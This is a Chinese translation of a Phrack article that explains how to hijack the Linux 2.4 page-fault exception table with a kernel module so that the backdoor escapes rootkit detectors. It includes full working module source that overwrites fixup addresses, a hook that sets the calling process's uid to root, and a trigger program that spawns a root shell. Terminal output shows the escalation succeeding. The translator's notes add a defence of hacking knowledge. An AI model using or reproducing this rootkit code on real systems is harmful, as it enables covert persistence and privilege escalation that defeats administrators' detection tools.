Hijacking Linux Page Fault Handler Exception Table 中文版

原文作者：buffer <mailto:buffer@antifork.org>
译者：wzhou <mailto:z-l-dragon@hotmail.com>

内容

介绍

“只是又一篇介绍Linux下的内核模块的文章”...当看到这篇文章的时候，你可能这么想，但我认为你错了。在过去几年里，我们看到很多利用LKM[1]来隐藏各种各样东西的技术，比如隐藏进程，网络连接，文件，等等等等。这些技术很容易理解，但真正的问题是它们很容易被检测出来。如果你替换了系统调用表中的某个地址，或者你覆写了系统调用代码的头 7 个字节（象Silvio Cesare在【参考资料 4】中描述的那样），象**Kstat**【参考资料 5】或**Angel**【参考资料 6】这样的工具是很容易鉴别出这些黑客行为的。之后出现了更复杂的技术。比如kad提出了一项蛮有趣的技术，他建议通过修改中断描述符表[2]（IDT），用新的异常处理器地址取代IDT项中原来的地址，并由用户空间代码触发该异常（比如“除零错”异常）这种方式来重定向以执行新的异常处理器[3]，在【参考资料 7】中有介绍。这个主意不错，但有两点不足：

1. 这种黑客技术能被基于对整个 IDT 进行哈希计算的方法检测到，就象最新版的 Angel（0.9.x 版）做的。这主要是由于处于内核空间的 IDT 表的地址很容易被获得，因为该值存储在%idtr 寄存器中，而该寄存器可以用汇编指令 sidt 读取并允许存储该值到某个变量中。
2. 如果用户代码执行了除零操作（它可能发生...）可能出现奇怪的行为。是的，如果我们选择了合适的（除零异常）处理器（handler），有人可能认为这有点不太正常。如果有什么比较安全的方法，那是什么呢？

我提出的方法只有一个目的：提供有效的“秘密行动”来对抗各种用于鉴别黑客型 LKM 的工具。该技术基于在现实中从没有被用到过的一种内核特性（译者：我不知道作者为什么这么说？）。

---

[1] LKM指Loadable Kernel Module,即可载入内核模块
[2] 中断描述符表是x86 架构的CPU最核心的资源之一，用于存放处理各种中断/异常的处理器函数的地址
[3] 这里所谓的新的异常处理器及时黑客种的“后门”

实际上，正象我们将要看到的，我们将研究内存管理子系统中的一种通用保护机制。如果用户代码有严重 bug（译者注：传递非法指针给系统调用），该机制才会被触发，而这是较少出现的。

废话少说，让我们开始吧！

系统调用和访问用户空间

首先，先谈一点理论。我这里引用的是 2.4.20 的 Linux 内核，其实代码同 2.2 内核的几乎是相同的。我们尤其感兴趣的是当通过系统调用来请求内核特性时，在某些情况下发生的事情。当用户代码调用系统调用时（通过软件中断 0x80），system_call()异常处理器被执行。让我们看一下在 arch/i386/kernel/entry.S 文件中的实现代码。

```
ENTRY(system_call)
       pushl %eax                    # save orig_eax
       SAVE_ALL
       GET_CURRENT(%ebx)
       testb $0x02,tsk_ptrace(%ebx)    # PT_TRACESYS
       jne tracesys[4]
       cmpl $(NR_syscalls),%eax
       jae badsys
       call *SYMBOL_NAME(sys_call_table)(,%eax,4)
       movl %eax,EAX(%esp)             # save the return value
[..]
```

我们很容易看出，system_call()把所有寄存器值保存在内核堆栈里[5]，然后通过调用 GET_CURRENT(%ebx)获得指向当前运行进程的task_struct结构的指针。接着是检查系统调用号的正确性和当前进程是否正被追踪。最后通过sys_call_table来调用对应的系统调用。sys_call_table维护着系统调用的函数地址，以存放在%eax寄存器中的系统调用号为该表的偏移即可找到对应的函数地址。现在让我们看一下某些特定的系统调用。就我们的目的而言，我们只要找到接受用户空间指针为参数的系统调用即可。我选择了sys_ioctl，但选择有相似行为的另外一些系统调用也可以。

```
asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long
arg)
{
       struct file * filp;
       unsigned int flag;
       int on, error = -EBADF;
[..]

     case FIONBIO:
             if ((error = get_user(on, (int *)arg)) != 0)
                    break;
```

[4] 系统调用的函数地址表
[5] 通过SAVE_ALL宏

```
            flag = O_NONBLOCK;
[..]
```

上面的 get_user()宏常用于从用户空间往内核空间拷贝数据。在这种情况下，我们把注意力放在设置传递给该系统调用的文件描述符为非阻塞 I/O 的代码上。在用户空间，正确应用该特性的例子如下：

```
    int on = 1;
    ioctl(fd, FIONBIO, &on);
```

让我们看一下 get_user()的实现，代码在 include/asm/uaccess.h 文件中。

```
#define __get_user_x(size,ret,x,ptr) \
       __asm__ __volatile__("call __get_user_" #size \
              :"=a" (ret),"=d" (x) \
              :"0" (ptr))

/* Careful: we have to cast the result to the type of the pointer for sign
reasons */
#define get_user(x,ptr)                                              \
({     int __ret_gu,__val_gu;                                        \
       switch(sizeof (*(ptr))) {                                     \
       case 1:  __get_user_x(1,__ret_gu,__val_gu,ptr); break;        \
       case 2:  __get_user_x(2,__ret_gu,__val_gu,ptr); break;        \
       case 4:  __get_user_x(4,__ret_gu,__val_gu,ptr); break;        \
       default: __get_user_x(X,__ret_gu,__val_gu,ptr); break;        \
       }                                                             \
       (x) = (__typeof__(*(ptr)))__val_gu;                           \
       __ret_gu;                                                     \
})
```

我们可以看到，get_user()被用一种非常聪明的方法实现。它基于要被从用户空间拷贝的参数的大小来调用合适的内部函数。由(sizeof (*(ptr)))的值来决定是调用__get_user_1()，__get_user_2()或__get_user_4()。

现在让我们看一下其中一个函数，__get_user_4()，代码在 arch/i386/lib/getuser.S 文件中。

```
addr_limit = 12

[..]

.align 4
.globl __get_user_4
__get_user_4:
       addl $3,%eax
       movl %esp,%edx
       jc bad_get_user
       andl $0xffffe000,%edx
       cmpl addr_limit(%edx),%eax
```

```
        jae bad_get_user
3:      movl -3(%eax),%edx
        xorl %eax,%eax
        ret

bad_get_user:
        xorl %edx,%edx
        movl $-14,%eax
        ret

.section __ex_table,"a"
        .long 1b,bad_get_user
        .long 2b,bad_get_user
        .long 3b,bad_get_user
.previous
```

在.section与.previos之间的最后几行标识了异常处理器表。由于它对于我们目的的重要性，我们将在后面讨论该表。正象上面看到的，__get_user_4()的实现代码是很直白的[6]。参数地址在%eax寄存器中。通过给%eax中的值加 3，可能获得最高的用户空间地址，这里是检查一下该地址是否在用户模式可寻址范围之内(从 0x00000000 到PAGE_OFFSET – 1，PAGE_OFFSET通常是 0xC0000000)。

把用户空间地址和 current->addr_limit.seg 进行比较(该值存放在距离任务描述符其实地址 12 字节的偏移处，而当前进程的任务描述符可以通过对内核堆栈指针的最后 13 位清零来获得)，如果我们发现它大于 PAGE_OFFSET – 1，则跳转到标号为 bad_get_user 处，对%edx 清零，把-EFAULT(-14)存入%eax 中(系统调用的返回值放在%eax 中)。

如果该参数的地址在用户模式可寻址范围内(PAGE_OFFSET 以下)，但在进程合法地址空间之外，会发生什么呢？那就是被有人称为 Page Fault(页故障或缺页错)的。

缺页异常

“当被寻址的页面不在物理内存中，相应的页表项是空的，或违反了页面保护机制，缺页异常就会发生。”【参考资料 1】

Linux 用 do_page_fault() 函数来处理缺页异常。该处理器的代码在 arch/i386/mm/fault.c 文件中。

我们尤其感兴趣的是在内核模式触发的缺页异常的 3 种情况。

第一种情况，“内核试图寻址属于进程地址空间的某页，但或者相应的页帧不在物理内存里（按需调页），或者内核试图写只读页（写时复制）。”【参考资料 1】

---

[6] 这当然是在你熟悉汇编语言的情况下。

第二种情况，“当程序执行时，某个内核函数含有编程bug，而该bug会触发异常；同样的，异常也可能由某个短暂的硬件错误导致” 【参考资料 1】

就我们的目的而言，这两种情况我们不敢兴趣。

第三种情况（也是我们感兴趣的）是当“某个系统调用服务例程（比如象我们例子中的sys_ioctl）试图读或写作为系统调用参数传递的地址指向的内存区域，但该地址并不属于该进程的地址空间。” 【参考资料 1】

第一种情况，通过查看进程地址空间很容易辨别出来。如果导致异常的地址属于该进程地址空间，它就会落在进程分配的内存区域内。我们对此不感兴趣。

我们感兴趣的是内核怎样辨别第二和第三种情况。决定（产生）缺页异常来源的关键在内核用于访问进程地址空间的调用的狭窄范围内。

为了这个目的，内核在内核空间建立了一个异常处理表。该表的区域的边界由符号__start___ex_table 和__stop___ex_table 定义。它们的值很容易用下面的方法从System.map 文件中取得。

```
buffer@rigel:/usr/src/linux$ grep ex_table System.map
c0261e20 A __start___ex_table
c0264548 A __stop___ex_table
buffer@rigel:/usr/src/linux$
```

这块内存区域的内容是什么呢？在那里你能够找到成对的地址。第一项（insn[7]）代表可能引起缺页异常的指令的地址，第二项（fixup）是指向“fixup code”(修补码)的指针。

当由内核触发了一页缺页异常时，并不是检查是否是第一种情况（按需调页或写时复制）下触发的，内核检查导致缺页异常的地址是否与异常处理表中的insn项匹配。如果不匹配，则是第二种情况，将触发内核Oops[8]。否则，如果该地址匹配异常处理表中的insn项，就是第三种情况，即是由访问用户空间地址而触发的缺页异常。在这种情况下，将运行异常处理表中作为fixup code指定的地址指向的函数。

下面就是简单的实现。

```
if ((fixup = search_exception_table(regs->eip)) != 0) {
            regs->eip = fixup;
            return;
      }
```

函数 search_exception_table()在异常处理表中查找一个 insn 项，该项能够与触发缺页

[7] “insn”应该是instruction(指令)的简称。
[8] 类似Windows下的蓝屏死机

异常的指令的地址匹配。如果找到了，就意味着该缺页异常是由内核访问用户空间地址期间触发的。在这种情况下，reg->eip 被指向 fixup code(修补代码)，而 do_page_fault()返回后将跳转到修补代码去执行。

很容易意识到上面的三个用于访问用户空间地址的__get_user_x()函数肯定有处理如前面所述的状况的修补代码。

让我们回头再看一下__get_user_4()。

```
.align 4
.globl __get_user_4
__get_user_4:
       addl $3,%eax
       movl %esp,%edx
       jc bad_get_user
       andl $0xffffe000,%edx
       cmpl addr_limit(%edx),%eax
       jae bad_get_user
3:     movl -3(%eax),%edx
       xorl %eax,%eax
       ret

bad_get_user:
       xorl %edx,%edx
       movl $-14,%eax
       ret

.section __ex_table,"a"
       .long 1b,bad_get_user
       .long 2b,bad_get_user
       .long 3b,bad_get_user
.previous
```

看上面代码，首先引起我们注意的是 GNU 汇编器的.section 伪指令，该伪指令允许程序员指定可执行文件中的某个节(section)包含的代码。而“a”属性指定该节必须同内核映像的其他部分一样被载入内存。所以，在上面的情况下，3 个条目被插入到内核异常处理表中并同内核映像一起被载入。

现在看一下__get_user_4()中标号为 3 的指令。

```
3:     movl -3(%eax),%edx
```

由于我们给%eax加了 3（象前面总结的那样为了检查的目的__get_user_4()函数的第一条指令这么做了），-3(%eax)指向从用户空间拷贝 4 字节参数的首地址。所以，正是该指令访问的

用户空间[9]。看一下异常处理器表的最后一项：

```
    .long 3b,bad_get_user
```

（下面一段我大部分采取意译，甚至抛开原文，而非直译。请放心，对这一段的内容，我绝对有把握。☺）
我们知道后缀“b”代表“backward”，即意味这是指本行前面的代码中的“3”标号（就是指向 3: movl -3(%eax),%edx 这一行）。这一行将在异常处理表中放入如下内容：

```
    insn  :  address of   movl -3(%eax),%edx
    fixup :  address of   bad_get_user
```

什么意思呢？就是如果insn地址的指令触发了缺页异常（当CPU触发缺页异常时，它会记住是触发指令的地址，而内核可以获取该地址），则运行fixup地址指向的代码。这里的insn与fixup都是代码的地址。对应到__get_user_4()函数，就是在异常处理表中记录下了这一条：如果该函数的movl -3(%eax),%edx指令运行时触发了缺页异常，那不要内核Oops[10]，而是去执行bad_get_user标号处的代码。很明显，__get_user_1()和__get_user_2()函数用到了上面异常处理表中的前两项。

```
.section __ex_table,"a"
       .long 1b,bad_get_user
       .long 2b,bad_get_user
       .long 3b,bad_get_user
.previous
```

让我们看一下 bad_get_user 到底指向什么地址：

```
buffer@rigel:/usr/src/linux$ grep bad_get_user System.map
c022f39c t bad_get_user
buffer@rigel:/usr/src/linux$
```

（记住，这里 c022f39c 就是 bad_get_user 指向的实际地址，它在你的 Linux 机器上完全可能是另外一个值，这跟你编译的系统相关）

如果你在编译 exception.c(在下一节)时带 FIXUP_DEBUG 标志编译，你将在 log 文件中看到下面所示，以证明我前面说的。

```
May 23 18:36:35 rigel kernel:  address : c0264530 insn: c022f361
                  fixup : c022f39c
May 23 18:36:35 rigel kernel:  address : c0264538 insn: c022f37a
                  fixup : c022f39c
May 23 18:36:35 rigel kernel:  address : c0264540 insn: c022f396
                  fixup : c022f39c
```

```
buffer@rigel:/usr/src/linux$  grep __get_user_ System.map
```

[9] 也就是CPU执行这条指令时如果-3(%eax)指向的用户空间非法，就会产生缺页异常。
[10] 一般内核出现非法缺页异常的默认处理就是crash系统，所谓的系统Oops!

```
c022f354 T __get_user_1
c022f368 T __get_user_2
c022f384 T __get_user_4
```

看看异常处理表中的第一项，我们很容易看出 0xc022f39c 是__get_user_4()中标号为 3 的指令所在的地址，正式改指令可能触发缺页异常。显然，另外两个函数的状况是类似的。

现在一切都很清楚了，如果我替换了异常处理表中的指向修补代码的地址，并且在用户空间调用带有非法地址参数的某个系统调用，就能让内核去执行我们想要执行的任何代码。只需要修改 4 个字节就可以这么做!而且，由于这种技术还不太普遍，所以这才是真正的“秘密”技术。为了触发缺页异常这个动作，需要你执行一个带有如下 bug 的程序，传递非法用户空间地址给某个系统调用。如果你知道这将导致非常有趣的事情发生，你会刻意这么做吗？当然这种状况是很少的。在下一节，我将展示怎样实现上面讨论的概念。在下面例子中，我修改了三个__get_user_x()函数的修补代码的地址。

实现

下面是LKM代码。在代码中，我硬编码了一些取自我的**System.map**文件的值，其实并不需要这样。因为这些值在调用**insmod**命令时可以通过命令行传递给本黑客模块，**insmod**会把它们链接到内核。如果你想在log文件中看到更详细的信息，请带-DFIXUP_DEBUG标志编译。

```
---------------[ exception.c ]---------------------------------------

/*
 * Filename: exception.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */
```

```
#ifndef __KERNEL__
#define __KERNEL__
#endif

#ifndef MODULE
#define MODULE
#endif

#define __START___EX_TABLE 0xc0261e20
#define __END___EX_TABLE   0xc0264548
#define BAD_GET_USER      0xc022f39c

unsigned long start_ex_table = __START___EX_TABLE;
unsigned long end_ex_table = __END___EX_TABLE;
unsigned long bad_get_user = BAD_GET_USER;

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>

#ifdef FIXUP_DEBUG
#  define PDEBUG(fmt, args...) printk(KERN_DEBUG "[fixup] : " fmt, ##args)
#else
#  define PDEBUG(fmt, args...) do {} while(0)
#endif

MODULE_PARM(start_ex_table, "l");
MODULE_PARM(end_ex_table, "l");
MODULE_PARM(bad_get_user, "l");


struct old_ex_entry {
       struct old_ex_entry    *next;
       unsigned long         address;
       unsigned long         insn;
       unsigned long         fixup;
};

struct old_ex_entry *ex_old_table;

void hook(void)
{
       printk(KERN_INFO "Oh Jesus... it works!\n");
```

```
}

void cleanup_module(void)
{
	struct old_ex_entry	*entry = ex_old_table;
	struct old_ex_entry	*tmp;

	if (!entry)
		return;

	while (entry) {
		*(unsigned long *)entry->address = entry->insn;
		*(unsigned long *)((entry->address) + sizeof(unsigned
long)) = entry->fixup;
		tmp = entry->next;
		kfree(entry);
		entry = tmp;
	}

	return;
}


int init_module(void)
{
	unsigned long	insn = start_ex_table;
	unsigned long	fixup;
	struct old_ex_entry *entry, *last_entry;

	ex_old_table = NULL;
	PDEBUG(KERN_INFO "hook at address : %p\n", (void *)hook);

	for(; insn < end_ex_table; insn += 2 * sizeof(unsigned long)) {

		fixup = insn + sizeof(unsigned long);

		if (*(unsigned long *)fixup == BAD_GET_USER) {

			PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
				(void *)insn, *(unsigned long *)insn,
				*(unsigned long *)fixup);

			entry = (struct old_ex_entry *)kmalloc(GFP_ATOMIC,
			sizeof(struct old_ex_entry));
```

```
                    if (!entry)
                           return -1;

                    entry->next = NULL;
                    entry->address = insn;
                    entry->insn = *(unsigned long *)insn;
                    entry->fixup = *(unsigned long *)fixup;

                    if (ex_old_table) {
                           last_entry = ex_old_table;

                       while(last_entry->next != NULL)
                            last_entry = last_entry->next;

                           last_entry->next = entry;
                    } else
                           ex_old_table = entry;

                    *(unsigned long *)fixup = (unsigned long)hook;

                    PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
                                  (void *)insn, *(unsigned long *)insn,
                                  *(unsigned long *)fixup);


             }

      }

      return 0;
}

MODULE_LICENSE("GPL");

-------------------------------------------------------------------------
```

下面是一段调用 ioctl(2),并带有错误参数的简单代码（用于触发异常）。

```
--------------- [ test.c ]-----------------------------------------


/*
```

```
 * Filename: test.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

int main()
{
       int    fd;
       int    res;

       fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
       res = ioctl(fd, FIONBIO, NULL);
       printf("result = %d errno = %d\n", res, errno);
       return 0;
}

------------------------------------------------------------------------
```

好，让我们看一下是否如我们预料的工作。

```
buffer@rigel:~$ gcc -I/usr/src/linux/include -O2 -Wall -c exception.c
buffer@rigel:~$ gcc -o test test.c
buffer@rigel:~$ ./test
result = -1 errno = 14
```

正象我们期待的，我们得到 EFAULT 报错（errno = 14）。
现在让我们试图把我们的内核黑客模块链接入内核[11]。

```
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ ./test
result = 25 errno = 0
buffer@rigel:~$
```

看看/var/log/message 文件中记录的内核 log 信息。

```
bash-2.05b# tail -f /usr/adm/messages
[..]
May 23 21:31:56 rigel kernel: Oh Jesus... it works!
```

好像工作得蛮好的！☺
现在我们能干什么？！看看下面这个！
只要把前面内核黑客模块代码中的**hook()**换成下面简单的一行：

```
    void hook(void)
    {
        current->uid = current->euid = 0;
    }
```

然后用下面的用户空间代码触发缺页异常处理器执行。

```
------------ shell.c -------------------------------------------------------



/*
 * Filename: shell.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
```

[11] Linux下的内核模块实际上是obj文件，还未经过链接。载入内核模块的insmod命令要完成这“链接”的过程，即把内核模块与Linux内核进行连接。最起码在 2.2，2.4 内核中是这么干的，而 2.6 内核insmod变成了一副空架子，实质性的“链接”工作被移到内核本身去干了。具体对内核模块载入分析请见译者的一篇分析文章《Linux 2.6 内核载入模块分析》。

```
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

int main()
{
       int    fd;
       int    res;
       char   *argv[2];

       argv[0] = "/bin/sh";
       argv[1] = NULL;

       fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
       res = ioctl(fd, FIONBIO, NULL);
       printf("result = %d errno = %d\n", res, errno);
       execve(argv[0], argv, NULL);
       return 0;
}

--------------------------------------------------------------------------
```

```
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ gcc -o shell shell.c
buffer@rigel:~$ id
uid=500(buffer) gid=100(users) groups=100(users)
buffer@rigel:~$ ./shell
result = 25 errno = 0
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users)
sh-2.05b#
```

太棒了，是真的吗？☺

这仅仅是一个例子，你能做的远不止此。利用该 LKM，你就象是 root 用户一样可以运行任何命令。你还需要其他什么东西吗？是的，你只需要修改 hook()函数和用以触发缺页异常的用户空间代码...现在限制你的只有你的想象力！

进一步考虑

当我想到上面的黑客方法时并没有意识到我真的想这么做，它仅仅是精神上兴奋的结果。但几个小时以后，我理解了...

考虑一下为了重定向某个系统调用而改变系统调用表中的对应项的函数地址需要知道什么，考虑一下为了象Silvio所总结的修改某个系统调用代码的头 7 个字节需要知道什么。需要知道的仅仅是一个“引用符号标记”。在这两种情况下，这个“引用符号标记”就是内核被输出的符号 **sys_call_table**[12]。但，不幸的是，并不是只有你才知道它。检测后门软件的工具也能很容易知道它（因为它是一个内核输出符号），所以对它们而言，检测系统调用表和/或系统调用代码的被修改也是很容易的。

如果你想如 kad 所总结的那样修改中断描述符表（来实现后门），那需要做什么呢？你也需要知道一个“引用符号标记”。在这种情况下，该“引用符号标记”就是在内核空间中的 IDT 地址。这个地址也很容易被取得，检测工具只需要下面几行简单代码就可以获得所需地址。

```
    long long idtr;
    long __idt_table;

    __asm__ __volatile__("sidt %0\n" : : "m"(idtr));
```

[12] 为了安全，现在该符号已不再被输出，即你在System.map中不会再看到它。当然对真正的黑客而言，这只是个小case。

```
    __idt_table = idtr >> 16;
```

代码运行的结果是，变量__idt_table存储了IDT地址。利用**sidt**的汇编指令很容易就获得IDT的“引用符号标记”。Angel工具，在它的最近的开发版0.9.x中，用到了该方法，它能够检测出基于【参考资料 7】中所述的实时攻击。

现在再考虑一下我前面所讨论的，获得缺页异常处理表的“引用符号标记”并不象前面两种情况那样直接，这就比较容易理解了。

获取缺页异常处理表地址的唯一办法是通过 System.map 文件。

当要写一个能检测出这类攻击的工具时，做System.map文件就是引用到当前正在运行的内核的假设可能是不但不对，反而有反作用的。事实上，如果这个假设是错的，检测工具可能监控的是内核数据中根本不重要的地址[13]。

用 nm 工具产生一份 System.map 文件是容易的，但有许多系统的管理员会忽略 System.map 文件扮演的角色，并不维护它而使该文件不再与当前运行内核同步。

结论

正像我上面实现的那样，修改缺页异常处理表示是相当简单的，而且这是真正的“大盗行为”，因为仅仅修改内核空间的 4 个字节就可能获得巨大回报。上面例子代码证明，出于简单性的缘故，我修改了 12 个字节，但也很容易意识到，仅仅修改__get_user_4()修补代码的地址（fixup code address）也可以获得同样的效果。

此外，带有这种触发黑客行为的“bug”的程序是很难被发现的。记住，为了触发该动作，你必须传递一个非法地址给某个系统调用。有多少这样做的程序被发现了呢？由于这种状况从没碰到过，所以我认为这类办法是真正有效的“秘密行动”。事实上，这些 bug 如果存在，通常被开发者在发行程序以前就被纠正了（作者的意思应该是一般情况下，传递非法地址给系统调用，在正常开发中，这是一种编程错误。大部分这种错误在软件被发行以前都会被修正正确，但本文恰好是应用了该种错误来触发黑客行为。本文讨论的黑客技术需要内核空间与用户空间两部分协同才能达成目标。内核空间部分用于监控并截获系统调用中的非法地址错误，然后获得某种“特权”，一般就是 root 权限。而用户空间部分则是适时地去触发获得“特权”的动作。但这里有个问题，即内核空间部分并不会去辨认用户空间部分，即只要是用户空间程序出现了这样一种“bug”，即传递非法地址给系统调用，则内核空间部分就会动作。而这有可能是误触发，即是其他带有该种 bug 的软件触发的，而非黑客软件的用户态部分触发的。作者这里认为对绝大部分发行的软件而言，这种 bug 应该都被修正了，所以可以排除误触法的可能。译者认为，可以在内核空间部分加入辨认用户空间部分的机制，这样可以彻底避免误触法的可能。具体辨认的机制可否如确认用户态部分触发的指令地址或触发指令附近的指令“pattern”，这些信息在内核空间都是很容易获得并实现的，只是简单的比较而已---译者注）。内核虽然大致上实现了这种防错方法，但几乎从来没有执行过。

[13] 这完全可能误报遭到攻击，而实际上是合法的内核的数据改变。

感谢

非常感谢**Antifork Research**的伙计们...跟你们一块儿工作真的很酷！

参考资料

1. “Understanding the Linux Kernel”[14]
   Daniel P. Bovet 和 Marco Cesati 著
   O’Reilly 出版
2. “Linux Device Driver”[15]
   Alessandro Rubini 和 Jonathan Corbet 著
   O’Reilly 出版
3. Linux kernel source (Linux 内核源码官方网站)
   [http://www.kernel.org]
4. “Syscall Redirection Without Modifying the Syscall Table”(无需修改系统调用表的系统调用重定向)
   Silvio Cesare
   [http://www.big.net.au/~silvio/]
5. Kstat
   [http://www.s0ftpj.org/en/tools.html]
6. Angel
   [http://www.sikurezza.org/angel]
7. “Handling Interrupt Descriptor Table for Fun and Profit”[16]
   Kad
   Phrack59-0x04 (飞客杂志第 59 期，0x04 号文章)
   [http://www.phrack.org] （飞客杂志网址）

译者后记

本文翻译自飞客杂志第 61 期中的第 0x07 号文章，其中注释都为译者本人所加。其中标为蓝色的是我的注解，希望对你的理解有帮助。我翻译飞客杂志上的一些黑客技术的文章，首先是因为国内市面上充斥着所谓的黑客技术的杂志和书籍，把本来一门蛮有趣的技术弄得充满铜臭味和低俗味，也算具有了中国特色。

我这里指的黑客技术与偷窃，破坏，窥探隐私，等等等等，完全无关。黑客技术是与大学里教授

---

[14] 此书已经出了 3 版，国内都有翻译版，中文书名为《深入理解Linux内核》，翻译质量不错。学习Linux内核，此书是第一参考书。
[15] 此书同样已出 3 版，国内都有翻译版，中文书名为《Linux设备驱动》，翻译质量极佳。学习Linux下设备驱动开发必备。
[16] 网上应该有中文的翻译版，可以google到。

们教学生的“官方”计算机技术的反面。记住，只是“官方”技术的反面，它是“反官方”的。大家看到“反官方”，可能第一反应是“持不同政见者”，是“官方”所宣传的“卖国者”，是“拿卢布的”，是“社会动乱分子”，是“崇洋媚外的”，是...，反正罪名“罄竹难书”。但不要忘了现在的“官方”曾几何时也担负着这些罪名，也是属于“反官方”的。就黑客技术而言，它只是技术，而不是什么邪术，那些“罄竹难书”的罪名实在应该加到人身上，而不是这门技术身上。黑客技术怎么用，那完全与技术无关。技术是刀，是枪。刀，枪，本身不会杀人，最会杀人的是人本身。不要把对破坏者（cracker）的怨气撒到黑客技术身上。

飞客杂志出到 64 期，画上了休止符。我们这些乡野村夫将不再能聆听来自计算机界“非官方”的声音。呜呼！

我将挑选一些飞客杂志上我能理解的技术文章，如果我通过 google 没有搜索到中文版，那我将抽空翻译出来。由于本人无论技术还是英文，都属于菜鸟级，谬误难免，所以还是推荐大家看原版为好。

译者：Walter Zhou

2007-12-31，上海浦东周浦，初稿
2008-1-13，上海浦东周浦，二稿